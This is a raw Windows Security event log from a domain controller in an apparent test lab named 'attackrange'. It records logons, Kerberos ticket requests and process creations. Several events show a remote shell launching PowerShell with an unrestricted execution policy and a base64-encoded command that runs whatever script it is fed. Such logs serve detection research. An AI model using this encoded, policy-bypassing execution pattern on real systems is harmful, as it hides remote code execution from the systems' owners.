ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257625
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52E8DC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257624
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52E8DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257623
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257622
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257621
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257620
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x370
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257619
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x6cc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257618
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52CA71

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257617
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52CA71
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257616
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257615
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257614
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257613
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6cc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9dc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x94c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257611
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52C346

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
